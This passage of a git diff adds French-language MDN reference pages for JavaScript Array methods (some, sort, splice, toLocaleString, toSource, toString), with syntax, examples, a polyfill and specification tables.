maVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2,
+             "excellente condition", "achetée en 1997"]
+nouvelleVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2]
+maVoiture[0].couleur = rouge
+nouvelleVoiture[0].couleur = rouge
+La nouvelle couleur de ma Honda est bordeaux
+maVoiture[0].couleur = bordeaux
+nouvelleVoiture[0].couleur = bordeaux
+
+ +

Utilisation avec les objets similaires aux tableaux

+ +

La méthode slice() peut aussi être appelée pour convertir des objets/collections similaires à des tableaux, en un nouveau tableau. L'objet {{jsxref("Fonctions/arguments", "arguments")}} d'une fonction est un exemple d'objet similaire à un tableau.

+ +
function list() {
+  return Array.prototype.slice.call(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+ +

Il est possible de lier avec la fonction .call de {{jsxref("Function.prototype")}} et on peut effectuer la réduction avec [].slice.call(arguments) plutôt qu'avec Array.prototype.slice.call. Voici comment on peut simplifier avec {{jsxref("Function.prototype.bind", "bind")}} :

+ +
var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.slice")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Function.prototype.call()")}}
    • +
  • {{jsxref("Function.prototype.bind()")}}
    • +
  • {{jsxref("Array.prototype.splice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/some/index.html b/files/fr/web/javascript/reference/global_objects/array/some/index.html new file mode 100644 index 0000000000..2d3b197c16 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/some/index.html @@ -0,0 +1,133 @@ +--- +title: Array.prototype.some() +slug: Web/JavaScript/Reference/Objets_globaux/Array/some +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/some +--- +
{{JSRef}}
+ +

La méthode some() teste si au moins un élément du tableau passe le test implémenté par la fonction fournie. Elle renvoie un booléen indiquant le résultat du test.

+ +
+

Note : Cette méthode renverra false, quelle que soit la condition, si elle est utilisée sur un tableau vide.

+
+ +
{{EmbedInteractiveExample("pages/js/array-some.html")}}
+ + + +

Syntaxe

+ +
arr.some(callback[, objetThis])
+ +

Paramètres

+ +
+
callback
+
La fonction à tester pour chaque élément du tableau. Cette fonction utilise trois arguments : +
+
valeurCourante
+
L'élément du tableau à traiter par la fonction.
+
index {{optional_inline}}
+
L'indice de l'élément qui est traité par la fonction.
+
array {{optional_inline}}
+
Le tableau sur lequel on a appelé la méthode some.
+
+
+
objetThis {{optional_inline}}
+
Paramètre optionnel. Il correspond à la valeur à utiliser pour this lors de l'exécution de la fonction callback.
+
+ +

Valeur de retour

+ +

true si la fonction callback renvoie une valeur équivalente à true pour au moins un des éléments du tableau, sinon elle renvoie false.

+ +

Description

+ +

La méthode some() exécute la fonction callback une seule fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle en trouve un pour lequel callback renvoie une valeur équivalente à true dans un contexte booléen. Si un tel élément est trouvé, some() renvoie immédiatement true. Dans le cas contraire, some renvoie false. callback n'est invoquée que pour les indices du tableau auxquels des valeurs sont assignées ; elle n'est pas invoquée pour les indices qui ont été supprimés ou auxquels aucune valeur n'a jamais été assignée.

+ +

La fonction callback est invoquée avec trois paramètres : la valeur de l'élément, l'indice de l'élément et l'objet Array parcouru.

+ +

Si un paramètre objetThis est fourni à some(), il sera utilisé comme valeur de this pour chaque invocation du callback. Sinon, la valeur  {{jsxref("undefined")}} sera passée pour utilisation comme valeur this. La valeur this finalement utilisée par callback est déterminée en fonction des règles habituelles pour déterminer this pour une fonction.

+ +

La méthode some() ne modifie pas le tableau sur lequel elle est appelée.

+ +

La liste des éléments traités par some() est définie avant la première invocation du callback. Les éléments qui sont ajoutés au tableau après le début de l'appel à some ne seront pas visités par callback. Si un élément existant non encore visité est modifié par callback, sa valeur passée à callback sera sa valeur au moment où some visite l'indice de cet élément ; les éléments supprimés ne seront pas visités.

+ +

Exemples

+ +

Tester la valeur des éléments d'un tableau

+ +

L'exemple suivant teste si certains éléments d'un tableau sont plus grands que 10.

+ +
function estAssezGrand(element, indice, array) {
+  return (element >= 10);
+}
+var resultat = [2, 5, 8, 1, 4].some(estAssezGrand);
+// resultat vaut false
+passed = [12, 5, 8, 1, 4].some(estAssezGrand);
+// passed vaut true
+
+ +

Tester la valeur des éléments avec les fonctions fléchées

+ +

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour réaliser la même opération que l'exemple précédent.

+ +
[2, 5, 8, 1, 4].some(elem => elem > 10); // false
+[12, 5, 8, 1, 4].some(elem => elem > 10); // true
+ +
+

Note : Si on veut vérifier qu'un élément est dans un tableau, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.some")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.includes()")}}
    • +
  • {{jsxref("TypedArray.prototype.some()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/sort/index.html b/files/fr/web/javascript/reference/global_objects/array/sort/index.html new file mode 100644 index 0000000000..a7fb7a8981 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/sort/index.html @@ -0,0 +1,286 @@ +--- +title: Array.prototype.sort() +slug: Web/JavaScript/Reference/Objets_globaux/Array/sort +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort +--- +
{{JSRef}}
+ +

La méthode sort() trie les éléments d'un tableau, dans ce même tableau, et renvoie le tableau. Par défaut, le tri s'effectue sur les éléments du tableau convertis en chaînes de caractères et triées selon les valeurs des unités de code UTF-16 des caractères.

+ +

La complexité en espace mémoire et en temps utilisée pour le tri ne peut pas être garantie car elle dépend de l'implémentation.

+ +
{{EmbedInteractiveExample("pages/js/array-sort.html")}}
+ + + +

Syntaxe

+ +
arr.sort()
+arr.sort(fonctionComparaison)
+ +

Paramètres

+ +
+
fonctionComparaison {{optional_inline}}
+
Ce paramètre optionnel permet de spécifier une fonction définissant l'ordre de tri. Si absente, le tableau est trié selon la valeur de point de code Unicode de chaque caractère, d'après la conversion en chaine de caractères de chaque élément. Cette fonction prendra deux arguments : le premier élément à comparer et le deuxième élément à comparer.
+
+ +

Valeur de retour

+ +

Le tableau trié (le tri est effectué sur le tableau courant qui est modifié, aucune copie n'est réalisée).

+ +

Description

+ +

Si le paramètre fonctionComparaison n'est pas fourni, les éléments qui ne valent pas undefined sont triés en les convertissant en chaines de caractères et en comparant ces chaines selon l'ordre des points de code Unicode. Par exemple, "banane" sera trié avant "cerise", mais "Cerise" arrivera avant "banane" à cause de la majuscule (les majuscules arrivent avant dans la liste). Dans un tri numérique, 9 sera trié avant 80, mais comme ces nombres sont convertis en chaînes de caractères, "80" arrive avant "9" selon l'ordre des unités de code UTF-16. Les éléments valant undefined sont placés à la fin du tableau.

+ +
+

Note : En UTF-16, les caractères Unicode situés après \uFFFF sont encodés avec deux unités de code surrogates sur l'intervalle \uD800-\uDFFF. Pour comparer les chaînes de caractères entre elles, ce sont les unités de code séparées qui sont prises en compte. Ainsi, le caractère formé par la paire surrogate \uD655 \uDE55 sera trié avant le caractère \uFF3A.

+
+ +

Si le paramètre fonctionComparaison est fourni, les éléments du tableau (qui ne valent pas undefined) sont triés selon la valeur de retour de la fonction de comparaison. Si a et b sont deux éléments à comparer, alors :

+ +
    +
  • Si fonctionComparaison(a, b) est inférieur à 0, on trie a avec un indice inférieur à b (a sera classé avant b)
    • +
  • Si fonctionComparaison(a, b) renvoie 0, on laisse a et b inchangés l'un par rapport à l'autre, mais triés par rapport à tous les autres éléments. Note : la norme ECMAScript ne garantit pas ce comportement, par conséquent tous les navigateurs (par exemple les versions de Mozilla antérieures à 2003) ne respectent pas ceci.
    • +
  • Si fonctionComparaison(a, b) est supérieur à 0, on trie b avec un indice inférieur à a.
    • +
  • fonctionComparaison(a, b) doit toujours renvoyer le même résultat à partir de la même paire d'arguments. Si la fonction renvoie des résultats incohérents, alors l’ordre dans lequel sont triés les éléments n’est pas défini.
    • +
+ +

Une fonction de comparaison aura donc généralement la forme suivante :

+ +
function compare(a, b) {
+  if (a est inférieur à b selon les critères de tri)
+     return -1;
+  if (a est supérieur à b selon les critères de tri)
+     return 1;
+  // a doit être égal à b
+  return 0;
+}
+
+ +

Pour comparer des nombres plutôt que des chaînes, la fonction de comparaison peut simplement soustraire b à a (cela fonctionnera si le tableau ne contient pas {{jsxref("NaN")}} ou {{jsxref("Infinity")}}) :

+ +
function compareNombres(a, b) {
+  return a - b;
+}
+
+ +

L'usage des {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",11)}} s'avère très pratique avec la méthode sort() :

+ +
var nombres = [4, 2, 5, 1, 3];
+nombres.sort(function(a, b) {
+  return a - b;
+});
+console.log(nombres);
+// [1, 2, 3, 4, 5]
+
+ +

ECMAScript 2015 permet d'utiliser les fonctions fléchées et ainsi d'obtenir une syntaxe plus concise :

+ +
let nombres = [4, 2, 5, 1, 3];
+nombres.sort((a, b) => a - b);
+console.log(nombres);
+ +

Les objets peuvent être triés d'après les valeurs d'une de leurs propriétés.

+ +
var items = [
+  { name: "Edward", value: 21 },
+  { name: "Sharpe", value: 37 },
+  { name: "And", value: 45 },
+  { name: "The", value: -12 },
+  { name: "Magnetic", value: 13 },
+  { name: "Zeros", value: 37 }
+];
+items.sort(function (a, b) {
+  return a.value - b.value;
+});
+ +

Différences d'implémentation

+ +

Certaines implémentations de JavaScript utilisent un tri stable : l'ordre partiel de a et b ne change pas si a et b sont égaux. Si l'indice de a était inférieur à celui de b avant le tri, il le sera toujours après, quels que soient les mouvements de a et b dus au tri.

+ +

Le tri est stable dans SpiderMonkey et tous les navigateurs basés sur Mozilla à partir de Gecko 1.9 (voir le {{ Bug(224128) }}).

+ +

Le comportement de la méthode sort() a changé entre JavaScript 1.1 et JavaScript 1.2.

+ +

En JavaScript 1.1, sur certaines plateformes, la méthode sort ne fonctionnait pas. Le tri fonctionne sur toutes les plateformes à partir de JavaScript 1.2.

+ +

En JavaScript 1.2, cette méthode ne convertit plus les éléments non définis (undefined) en null ; elle les place en fin de tableau. Par exemple, supposons que vous ayez ce script :

+ +
var a = [];
+a[0] = "araignée";
+a[5] = "zèbre";
+
+function writeArray(x) {
+  for (i = 0; i < x.length; i++) {
+    console.log(x[i]);
+    if (i < x.length-1)
+      console.log(", ");
+  }
+}
+
+writeArray(a);
+a.sort();
+console.log("\n");
+writeArray(a);
+
+ +

En JavaScript 1.1, cette fonction affichait :

+ +
araignée, null, null, null, null, zèbre
+araignée, null, null, null, null, zèbre
+
+ +

En JavaScript 1.2, elle affichera :

+ +
araignée, undefined, undefined, undefined, undefined, zèbre
+araignée, zèbre, undefined, undefined, undefined, undefined
+
+ +

Exemples

+ +

Création, affichage et tri d'un tableau

+ +

L'exemple qui suit crée quatre tableaux et affiche le tableau original, puis les tableaux triés. Les tableaux numériques sont triés d'abord sans, puis avec une fonction de comparaison.

+ +
var stringArray = ["Bosse", "Bleue", "Béluga"];
+var numericStringArray = ["80", "9", "700"];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ["80", "9", "700", 40, 1, 5, 200];
+
+function compareNombres(a, b) {
+  return a - b;
+}
+
+console.log("Chaînes : " + stringArray.join() +"\n");
+console.log("Triées : " + stringArray.sort() +"\n\n");
+
+console.log("Nombres : " + numberArray.join() +"\n");
+console.log("Triés sans fonction de comparaison : " + numberArray.sort() +"\n");
+console.log("Triés avec compareNombres : " + numberArray.sort(compareNombres) +"\n\n");
+
+console.log("Chaînes numériques : " + numericStringArray.join() +"\n");
+console.log("Triées sans fonction de comparaison : " + numericStringArray.sort() +"\n");
+console.log("Triées avec compareNombres : " + numericStringArray.sort(compareNombres) +"\n\n");
+
+console.log("Nombres et chaînes numériques : " + mixedNumericArray.join() +"\n");
+console.log("Triés sans fonction de comparaison : " + mixedNumericArray.sort() +"\n");
+console.log("Triés avec compareNombres : " + mixedNumericArray.sort(compareNombres) +"\n\n");
+
+ +

Cet exemple produit la sortie suivante. Comme on peut le voir, lorsqu'on utilise la fonction de comparaison, les nombres sont triés correctement qu'ils soient des nombres ou des chaînes numériques.

+ +
Chaînes : Bosse,Bleue,Béluga
+Triées : Bleue,Bosse,Béluga
+
+Nombres : 40,1,5,200
+Triés sans fonction de comparaison : 1,200,40,5
+Triés avec compareNombres : 1,5,40,200
+
+Chaînes numériques : 80,9,700
+Triées sans fonction de comparaison : 700,80,9
+Triées avec compareNombres : 9,80,700
+
+Nombres et chaînes numériques : 80,9,700,40,1,5,200
+Triés sans fonction de comparaison : 1,200,40,5,700,80,9
+Triés avec compareNombres : 1,5,9,40,80,200,700
+
+ +

Trier des caractères non-ASCII

+ +

Pour des chaines de caractères contenant des caractères non ASCII, c'est à dire des chaines de caractères contenant par exemple des accents (é, è, a, ä, etc.) : utilisez {{jsxref("String.localeCompare")}}. Cette fonction peut comparer ces caractères afin qu'ils apparaissent dans le bon ordre.

+ +
var items = ["réservé", "premier", "cliché", "communiqué", "café" ,"adieu"];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items is [ 'adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé' ]
+ +

Trier avec map

+ +

La fonction de comparaison peut être amenée à être appelée plusieurs fois pour un même élément du tableau. Selon la fonction utilisée, cela peut entraîner des problèmes de performances. Plus le tableau est grand et plus la fonction de comparaison est complexe, plus il sera judicieux d'envisager des opérations de fonctions appliquées au tableau (map). L'idée est la suivante : on extrait les valeurs du tableau original, en appliquant des opérations dans un tableau temporaire, puis on trie ce tableau temporaire. Enfin, on recompose le tableau final avec les éléments du premier tableau et l'ordre obtenu.

+ +
// le tableau à trier
+var liste = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// Création d'objet temporaire qui contient les positions
+// et les valeurs en minuscules
+var mapped = liste.map(function(e, i) {
+  return { index: i, value: e.toLowerCase() };
+})
+
+// on trie l'objet temporaire avec les valeurs réduites
+mapped.sort(function(a, b) {
+  if (a.value > b.value) {
+    return 1;
+  }
+  if (a.value < b.value) {
+    return -1;
+  }
+  return 0;
+});
+
+// on utilise un objet final pour les résultats
+var result = mapped.map(function(e){
+  return liste[e.index];
+});
+
+ +
+

Note : Une bibliothèque open source utilise cette approche : mapsort.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.sort")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/array/splice/index.html b/files/fr/web/javascript/reference/global_objects/array/splice/index.html new file mode 100644 index 0000000000..660bd81fb3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/splice/index.html @@ -0,0 +1,146 @@ +--- +title: Array.prototype.splice() +slug: Web/JavaScript/Reference/Objets_globaux/Array/splice +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice +--- +
{{JSRef}}
+ +

La méthode splice() modifie le contenu d'un tableau en retirant des éléments et/ou en ajoutant de nouveaux éléments à même le tableau.On peut ainsi vider ou remplacer une partie d'un tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-splice.html")}}
+ + + +

Syntaxe

+ +
var tabElementsSupprimes = array.splice(début, nbASupprimer[, élem1[, élem2[, ...]]])
+
+ +

Paramètres

+ +
+
début
+
L'indice à partir duquel commencer à changer le tableau (l'indice du premier élement étant 0).
+
Si sa valeur est supérieure à la longueur du tableau array.length, début est ramené à la longueur du tableau array.length.
+
S'il est négatif, le changement commencera d'autant d'éléments à partir de la fin du tableau, c'est à dire à partir de l'index  array.length + début. Si array.length + début est inférieur à 0, le changement commencera à l'index 0.
+
+ +
+
nbASupprimer
+
Un entier indiquant le nombre d'anciens éléments à remplacer.
+ Si ce paramètre est absent ou si sa valeur est supérieure ou égale à array.length - début, alors les éléments entre début et la fin du tableau seront supprimés.
+
Si nbASupprimer vaut 0, aucun élément ne sera supprimé. Dans ce cas, il est nécessaire de spécifier au moins un nouvel élément.
+
+ +
+
élemN
+
Les éléments à ajouter au tableau à partir de début. Si vous ne spécifiez pas de nouvel élément, les anciens éléments seront simplement supprimés du tableau.
+
+ +

Valeur de retour

+ +

Un tableau contenant les éléments supprimés. Si un seul élément est supprimé, un tableau contenant un unique élément est retourné.

+ +

Description

+ +

Si vous spécifiez un nombre différent d'éléments à insérer et d'éléments à supprimer, le tableau aura une longueur différente après l'appel de la méthode.

+ +

Exemples

+ +

Utiliser splice

+ +

Le script suivant illustre l'utilisation de splice :

+ +
var mesPoissons  = ["scalaire", "clown", "mandarin", "chirurgien"];
+
+// supprime 0 élément à partir de l'index 2, et insère "tambour"
+var enleves = mesPoissons.splice(2, 0, "tambour");
+// mesPoissons est ["scalaire", "clown", "tambour", "mandarin", "chirurgien"]
+// enleves est [], aucun élément supprimé
+
+// supprime 1 élément à partir de l'index 3
+enleves = mesPoissons.splice(3, 1);
+// mesPoissons est ["scalaire", "clown", "tambour", "chirurgien"]
+// enleves est ["mandarin"]
+
+// supprime 1 élément à partir de l'index 2, et insère "trompette"
+enleves = mesPoissons.splice(2, 1, "trompette");
+// mesPoissons est ["scalaire", "clown", "trompette", "chirurgien"]
+// enleves est ["tambour"]
+
+// supprime 2 éléments à partir de l'index 0, et insère "perroquet", "anémone" et"bleu"
+enleves = mesPoissons.splice(0, 2, "perroquet", "anémone", "bleu");
+// mesPoissons est ["perroquet", "anémone", "bleu", "trompette", "chirurgien"]
+// enleves est ["scalaire", "clown"]
+
+// supprime 2 éléments à partir de l'indice 2
+enleves = mesPoissons.splice(mesPoissons.length - 3, 2);
+// mesPoissons est ["perroquet", "anémone", "chirurgien"]
+// enleves est ["bleu", "trompette"]
+
+var mesPoissons = ["perroquet", "anémone", "bleu", "trompette", "chirurgien"];
+// on retire trois éléments à partir de l'indice 2
+enleves = mesPoissons.splice(2);
+// mesPoissons vaut ["perroquet", "anémone"]
+// enleves vaut ["bleu", "trompette", "chirurgien"]
+
+var mesAnimaux = ["cheval", "chien", "chat", "dauphin"];
+enleves = mesAnimaux.splice(-2, 1);
+
+// mesAnimaux vaut ["cheval", "chien", "dauphin"]
+// enleves vaut ["chat"]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}{{Spec2('ES5.1')}}
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.splice")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.push", "push")}} / {{jsxref("Array.prototype.pop", "pop")}} pour ajouter/supprimer des éléments en fin de tableau
    • +
  • {{jsxref("Array.prototype.unshift", "unshift")}} / {{jsxref("Array.prototype.shift", "shift")}} pour ajouter/supprimer des éléments en début de tableau
    • +
  • {{jsxref("Array.prototype.concat", "concat")}} qui renvoie un nouveau tableau résultat de la concaténation d'un tableau avec un autre tableau ou d'autres valeurs
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/array/tolocalestring/index.html new file mode 100644 index 0000000000..5d686a85bd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/tolocalestring/index.html @@ -0,0 +1,190 @@ +--- +title: Array.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/Array/toLocaleString +tags: + - Array + - Internationalisation + - JavaScript + - Méthode + - Prototype + - Reference + - i18n + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() renvoie une chaîne de caractères qui représente les éléments du tableau. Les éléments sont convertis en chaînes de caractères grâce à leurs méthodes toLocaleString et chacune de ces chaînes est séparée des autres avec un séparateur propre à la locale courante (par exemple une virgule ou un point).

+ +
{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}
+ + + +

Syntaxe

+ +
arr.toLocaleString();
+arr.toLocaleString(locales);
+arr.toLocaleString(locales, options);
+
+ +

Paramètres

+ +
+
locales {{optional_inline}}
+
Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales. Pour plus de détails quant à la forme et l'interprétation de l'argument locales, on consultera la page {{jsxref("Intl")}}.
+
options {{optional_inline}}
+
Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente les éléments du tableau.

+ +

Exemples

+ +

Utiliser les arguments locales et options

+ +

Les éléments du tableau sont converties en chaînes de caractères via leurs méthodes toLocaleString().

+ +
    +
  • Object : {{jsxref("Object.prototype.toLocaleString()")}}
    • +
  • Number : {{jsxref("Number.prototype.toLocaleString()")}}
    • +
  • Date : {{jsxref("Date.prototype.toLocaleString()")}}
    • +
+ +

Ici, on voit qu'on affiche le symbole de la devise de la locale pour chacun des éléments (nombres ou chaînes de caractères) du tableau prix :

+ +
var prix = ["￥7", 500, 8123, 12];
+prix.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
+
+// "￥7,￥500,￥8,123,￥12"
+
+ +

Pour plus d'exemples, on peut se référer aux pages {{jsxref("Intl")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}}.

+ +

Prothèse d'émulation (polyfill)

+ +
// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
+if (!Array.prototype.toLocaleString) {
+  Object.defineProperty(Array.prototype, 'toLocaleString', {
+    value: function(locales, options) {
+      // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var a = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(A, "length")).
+      var len = a.length >>> 0;
+
+      // 3. Let separator be the String value for the
+      //    list-separator String appropriate for the
+      //    host environment's current locale (this is
+      //    derived in an implementation-defined way).
+      // NOTE: In this case, we will use a comma
+      var separator = ',';
+
+      // 4. If len is zero, return the empty String.
+      if (len === 0) {
+        return '';
+      }
+
+      // 5. Let firstElement be ? Get(A, "0").
+      var firstElement = a[0];
+      // 6. If firstElement is undefined or null, then
+      //  a.Let R be the empty String.
+      // 7. Else,
+      //  a. Let R be ?
+      //     ToString(?
+      //       Invoke(
+      //        firstElement,
+      //        "toLocaleString",
+      //        « locales, options »
+      //       )
+      //     )
+      var r = firstElement == null ?
+        '' : firstElement.toLocaleString(locales, options);
+
+      // 8. Let k be 1.
+      var k = 1;
+
+      // 9. Repeat, while k < len
+      while (k < len) {
+        // a. Let S be a String value produced by
+        //   concatenating R and separator.
+        var s = r + separator;
+
+        // b. Let nextElement be ? Get(A, ToString(k)).
+        var nextElement = a[k];
+
+        // c. If nextElement is undefined or null, then
+        //   i. Let R be the empty String.
+        // d. Else,
+        //   i. Let R be ?
+        //     ToString(?
+        //       Invoke(
+        //        nextElement,
+        //        "toLocaleString",
+        //        « locales, options »
+        //       )
+        //     )
+        r = nextElement == null ?
+          '' : nextElement.toLocaleString(locales, options);
+
+        // e. Let R be a String value produced by
+        //   concatenating S and R.
+        r = s + r;
+
+        // f. Increase k by 1.
+        k++;
+      }
+
+      // 10. Return R.
+      return r;
+    }
+  });
+}
+
+ +

S'il faut absolument prendre en charge les moteurs JavaScript qui ne supportent pas {{jsxref("Object.defineProperty()")}}, mieux vaut ne pas ajouter de prothèse pour les méthodes Array.prototype car elles ne peuvent pas être rendues non-énumérables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ESDraft')}}Définition initiale dans ECMAScript 3.
{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}}Cette définition remplace la définition fournit dans ECMA-262.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.toLocaleString")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.toString()")}}
    • +
  • {{jsxref("Intl")}}
    • +
  • {{jsxref("Object.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/tosource/index.html b/files/fr/web/javascript/reference/global_objects/array/tosource/index.html new file mode 100644 index 0000000000..e6800fd64c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/tosource/index.html @@ -0,0 +1,68 @@ +--- +title: Array.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Array/toSource +tags: + - Array + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource +--- +
{{JSRef}}{{Non-standard_header}}
+ +

La méthode toSource() renvoie une chaine de caractères représentant le code source du tableau.

+ +

Syntaxe

+ +
arr.toSource()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source du tableau.

+ +

Description

+ +

La méthode toSource() renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet {{jsxref("Array")}} natif, toSource() renvoie la chaîne de caractères suivante indiquant que le code source n'est pas disponible : + + 
    function Array() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances d'{{jsxref("Array")}}, toSource() renvoie une chaîne représentant le code source.
    • +
+ +

Cette méthode est habituellement appelée en interne par le moteur JavaScript et n'est pas utilisée explicitement dans du code. Il est cependant possible d'appeler toSource() lors du débogage pour examiner le contenu d'un tableau.

+ +

Exemples

+ +

Examiner le code source d'un tableau

+ +

Pour examiner le code source d'un tableau :

+ +
var alpha = new Array("a", "b", "c");
+alpha.toSource();
+// renvoie ["a", "b", "c"]
+
+ +

Spécifications

+ +

Ne fait partie d'aucun standard. Implémenté dans JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
  • {{jsxref("Array.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/tostring/index.html b/files/fr/web/javascript/reference/global_objects/array/tostring/index.html new file mode 100644 index 0000000000..b7b252c1fb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/tostring/index.html @@ -0,0 +1,83 @@ +--- +title: Array.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Array/toString +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaine de caractères représentant le tableau spécifié et ses éléments.

+ +
{{EmbedInteractiveExample("pages/js/array-tostring.html")}}
+ + + +

Syntaxe

+ +
arr.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente les éléments du tableau.

+ +

Description

+ +

L'objet {{jsxref("Array")}} redéfinit la méthode toString d'{{jsxref("Object")}}. Pour les objets Array, la méthode toString() concatène les éléments du tableau et renvoie une chaîne contenant chacun des éléments, séparés par des virgules.

+ +

